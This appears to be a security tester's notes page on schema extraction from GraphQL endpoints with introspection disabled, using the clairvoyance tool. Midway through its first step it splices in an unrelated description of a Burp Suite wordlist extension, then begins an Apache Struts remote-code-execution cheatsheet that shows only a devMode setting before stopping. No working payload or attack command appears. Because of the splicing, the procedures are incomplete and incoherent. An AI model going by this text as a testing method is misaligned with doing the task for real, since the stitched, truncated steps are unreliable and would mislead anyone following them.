Playing with GraphQL when introspection is disabled

Quick write up on extracting a GraphQL schema when introspection is disabled. Bits and pieces sourced from various sources. Successfully tested on an Apollo instance.

TLDR: Some GraphQL instances provide name autocomplete suggestions. Some peeps have written tools to automate the extraction process. (ref https://youtu.be/nPB8o0cSnvM).

1. Bruteforce schema without introspection

First step is using a tool called clairvoyance by @nikitastupin (https://github.com/nikitastupin/clairvoyance). I found the main repo to lack error handling and support for additional features such as proxy.

'''
Based on the initial work of Digininja at https://github.com/digininja/CeWL. While CeWL is a script written
in Ruby that requires an independent crawl of a website in order to build a custom wordlist, Whey CeWLer
runs within Portswigger's Burp Suite and parses an already crawled sitemap to build a custom wordlist. It
does not have the meta data parsing capabilities that CeWL does, but it more than makes up for it in
convenience.

The name gets its origins from the CeWLer portion of the CO2 Burp extension by Jason Gillam, which is written
in Java and does something similar, but Whey CeWLer is a completely reimagined extension written in Python,
making it "way cooler".

Apache Struts Remote Code Execution cheatsheet

Apacje Struts is a open source framework utilizing JavaEE web applications and encouraging to employ MVC (Model View Controller) architecture. When having the application developed in so-called devMode as set in the struts.xml file:

<constant name="struts.devMode" value="true" />

Then the middleware will be handling additional parameters passed to every function invocation.

Testing for Struts devMode enabled
